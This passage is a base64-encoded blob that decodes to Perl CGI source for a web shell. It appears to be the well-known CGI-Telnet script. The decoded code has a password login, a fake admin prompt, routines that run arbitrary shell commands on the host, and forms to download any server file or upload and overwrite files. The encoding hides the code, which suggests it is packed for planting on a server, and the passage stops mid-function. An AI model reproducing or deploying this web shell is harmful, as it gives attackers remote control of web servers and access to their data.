  1119. CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1120. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9n
  1121. aW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdA0KIyBkaXNwbGF5cyBhIHBh
  1122. Z2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gcnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQg
  1123. ZG9lbnMndA0KIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5
  1124. cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gbG9naW4NCiMtLS0tLS0tLS0tLS0t
  1125. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1126. LS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9naW4gDQp7DQoJaWYoJExvZ2luUGFzc3dvcmQgZXEgJFBh
  1127. c3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQNCgl7DQoJCXByaW50ICJTZXQtQ29va2llOiBTQVZF
  1128. RFBXRD0kTG9naW5QYXNzd29yZDtcbiI7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJlBy
  1129. aW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KCWVsc2Ug
  1130. IyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJ
  1131. JlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFz
  1132. c3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJ
  1133. CX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KIy0t
  1134. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1135. LS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0
  1136. aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1137. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBy
  1138. aW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50
  1139. RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8
  1140. PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3Jp
  1141. cHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFu
  1142. ZCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0K
  1143. JFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1p
  1144. dCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCg0KRU5EDQp9DQoNCiMtLS0tLS0t
  1145. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1146. LS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVz
  1147. ZXIgdG8gZG93bmxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1148. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZp
  1149. bGVEb3dubG9hZEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDog
  1150. IlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxj
  1151. b2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlv
  1152. biI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0K
  1153. PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQg
  1154. ZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBz
  1155. aXplPSIzNSI+PGJyPjxicj4NCkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0i
  1156. QmVnaW4iPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0t
  1157. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1158. LS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2Fk
  1159. IGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1160. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0K
  1161. ew0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVy
  1162. TmFtZSAkQ3VycmVudERpcl1cJCAiOw0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNCjxmb3JtIG5h
  1163. bWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9u
  1164. PSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxp
  1165. bnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9wdGlvbnM6ICZu
  1166. YnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgdmFsdWU9Im92ZXJ3cml0ZSI+DQpP
  1167. dmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4NClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8
  1168. aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIg
  1169. bmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9
  1170. ImEiIHZhbHVlPSJ1cGxvYWQiPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0t
  1171. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1172. LS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91
  1173. dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8NCiMgdGVybWluYXRlIHRoZSBzY3Jp
  1174. cHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBp
  1175. cw0KIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuDQojLS0t
  1176. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1177. LS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQ29tbWFuZFRpbWVvdXQNCnsNCglpZighJFdpbk5UKQ0K
  1178. CXsNCgkJYWxhcm0oMCk7DQoJCXByaW50IDw8RU5EOw0KPC94bXA+DQoNCjxjb2RlPg0KQ29tbWFu
  1179. ZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25k
  1180. KHMpLg0KPGJyPktpbGxlZCBpdCENCkVORA0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsN
  1181. CgkJJlByaW50UGFnZUZvb3RlcjsNCgkJZXhpdDsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0t
  1182. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1183. LS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQg
  1184. ZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUNCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2Vy
  1185. IHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkNCiMgY29tbWFu
  1186. ZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5
  1187. IGlzIHN0b3JlZCBpbg0KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRp
  1188. bWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlDQojIG91dHB1dCBvZiB0aGUgY2hh
  1189. bmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzDQojIHRo
  1190. ZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLg0KIy0tLS0tLS0tLS0t
  1191. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1192. LS0tLS0tLS0tLQ0Kc3ViIEV4ZWN1dGVDb21tYW5kDQp7DQoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9e
  1193. XHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KCXsNCgkJIyB3ZSBj
  1194. aGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KCQkjIGNv
  1195. bW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJDQoJCSRPbGREaXIgPSAkQ3VycmVudERpcjsNCgkJ
  1196. JENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4k
  1197. Q21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSZQcmludFBhZ2VI
  1198. ZWFkZXIoImMiKTsNCgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxA
  1199. JFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOw0KCQlwcmludCAiJFByb21wdCAkUnVuQ29tbWFuZCI7
  1200. DQoJfQ0KCWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQsIGRpc3BsYXkgdGhlIG91dHB1dA0KCXsN
  1201. CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50
  1202. RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCgkJcHJpbnQg
  1203. IiRQcm9tcHQgJFJ1bkNvbW1hbmQ8eG1wPiI7DQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnRE
  1204. aXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsNCgkJaWYoISRXaW5OVCkNCgkJ
  1205. ew0KCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsNCgkJCWFsYXJtKCRDb21tYW5k
  1206. VGltZW91dER1cmF0aW9uKTsNCgkJfQ0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBv
  1207. dXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkDQoJCXsNCgkJCSR8PTE7DQoJCQkkQ29tbWFuZCAuPSAi
  1208. IHwiOw0KCQkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCQl3aGlsZSg8Q29tbWFu
  1209. ZE91dHB1dD4pDQoJCQl7DQoJCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkJcHJpbnQgIiRf
  1210. XG4iOw0KCQkJfQ0KCQkJJHw9MDsNCgkJfQ0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29t
  1211. bWFuZCBjb21wbGV0ZXMNCgkJew0KCQkJcHJpbnQgYCRDb21tYW5kYDsNCgkJfQ0KCQlpZighJFdp
  1212. bk5UKQ0KCQl7DQoJCQlhbGFybSgwKTsNCgkJfQ0KCQlwcmludCAiPC94bXA+IjsNCgl9DQoJJlBy
  1213. aW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0t
  1214. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1215. LS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQg
  1216. Y29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUg
  1217. c3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMg
  1218. ZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1l
  1219. bnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2Fk
  1220. ZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1221. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsN
  1222. Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBl
  1223. eGlzdHMNCgl7DQoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8g
  1224. dGhlIGJyb3dzZXINCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJI
  1225. KiIsJDEpL2VnOw0KCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2Fk
  1226. JmY9JEZpbGVVcmwmbz1nbyI7DQoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlW
  1227. PVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7DQoJCSZQcmlu
  1228. dFBhZ2VIZWFkZXIoImMiKTsNCgkJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCg0KU2VuZGluZyBGaWxl
  1229. ICRUcmFuc2ZlckZpbGUuLi48YnI+DQpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0
  1230. b21hdGljYWxseSwNCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lg0KRU5E
  1231. DQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0N
  1232. CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7
  1233. DQoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJlByaW50Rmls
  1234. ZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0tLS0t
  1235. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1236. LS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJv
  1237. bSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2Fu
  1238. IGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmll
  1239. ZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0t
  1240. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1241. LQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlm
  1242. KG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7
  1243. DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNU
  1244. RE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmls
  1245. ZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQt
  1246. VHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6
  1247. ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7
  1248. IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShT
  1249. RU5ERklMRSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkmUHJpbnRQ
  1250. YWdlSGVhZGVyKCJmIik7DQoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAk
  1251. ISI7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9
  1252. DQp9DQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1253. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxl
  1254. ZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQ0K
  1255. IyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2ggd2hpY2ggdGhlIGZpbGUg
  1256. Y2FuIGJlIGRvd25sb2FkZWQuDQojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0
  1257. aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsDQojIHRoZSBmaWxlIGlz
  1258. IHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1259. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpz
  1260. dWIgQmVnaW5Eb3dubG9hZA0Kew0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBm
  1261. aWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9e
  1262. XFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBw
  1263. YXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0K
  1264. CWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFy
  1265. Z2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAk
  1266. UGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2Ug
  1267. aGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZp
  1268. bGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsN
  1269. CgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQojLS0tLS0t
  1270. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1271. LS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIg
  1272. d2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwg
  1273. aXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxl
  1274. LCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4NCiMtLS0tLS0tLS0tLS0t
  1275. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1276. LS0tLS0tLS0NCnN1YiBVcGxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwg
  1277. cHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7
  1278. DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50RmlsZVVwbG9hZEZvcm07DQoJCSZQ
  1279. cmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJJlByaW50UGFnZUhlYWRlcigiYyIpOw0K
  1280. DQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCglwcmludCAiVXBsb2FkaW5nICRUcmFu
  1281. c2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsNCg0KCSMgZ2V0IHRoZSBmdWxsbHkgcXVh
  1282. bGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQNCgljaG9wKCRUYXJnZXRO
  1283. YW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkkVHJh
  1284. bnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOw0KCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQx
  1285. Ow0KDQoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7DQoJIyBpZiB0
  1286. aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0DQoJ
  1287. aWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpDQoJew0KCQlwcmlu
  1288. dCAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOw0KCX0NCgll
  1289. bHNlICMgZmlsZSBpcyBub3QgcHJlc2VudA0KCXsNCgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRU
  1290. YXJnZXROYW1lIikpDQoJCXsNCgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOw0KCQkJ
  1291. cHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307DQoJCQljbG9zZShVUExPQURGSUxFKTsN
  1292. CgkJCXByaW50ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCXBy
  1293. aW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQlw
  1294. cmludCAiRmFpbGVkOiAkITxicj4iOw0KCQl9DQoJfQ0KCXByaW50ICIiOw0KCSZQcmludENvbW1h
  1295. bmRMaW5lSW5wdXRGb3JtOw0KDQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0tLS0tLS0t
  1296. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1297. LS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRz
  1298. IHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQs
  1299. IGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmls
  1300. ZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciBhbmQgcHJvdmlk
  1301. ZXMgYSBsaW5rDQojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0K
  1302. Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1303. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIERvd25sb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmls
  1304. ZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5z
  1305. ZmVyRmlsZSBlcSAiIikNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50Rmls
  1306. ZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgkJcmV0dXJuOw0KCX0NCgkNCgkj
  1307. IGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJ
  1308. aWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5U
